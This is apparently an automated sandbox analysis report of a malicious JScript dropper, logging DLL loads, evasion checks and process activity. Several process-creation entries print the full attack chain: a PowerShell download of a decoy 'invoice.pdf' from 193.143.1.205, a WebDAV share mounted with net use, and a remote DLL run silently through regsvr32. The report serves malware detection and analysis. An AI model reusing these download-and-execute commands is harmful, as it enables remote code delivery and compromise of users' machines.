Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1370.js.csv");ITextStream.WriteLine(" entry:7725 f:yzxikq");ITextStream.WriteLine(" exec:2 f:yzxikq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4092			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5788			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1880	Thread sleep count: 4092 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 792	Thread sleep count: 5788 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2344	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6356	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7240	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1674043117.000001C2F9E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}K
Source: net.exe, 00000006.00000002.1739502383.000001BEED560000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1739587237.000001BEED5BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2953115010.00000230C8C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2954342539.00000230CE054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
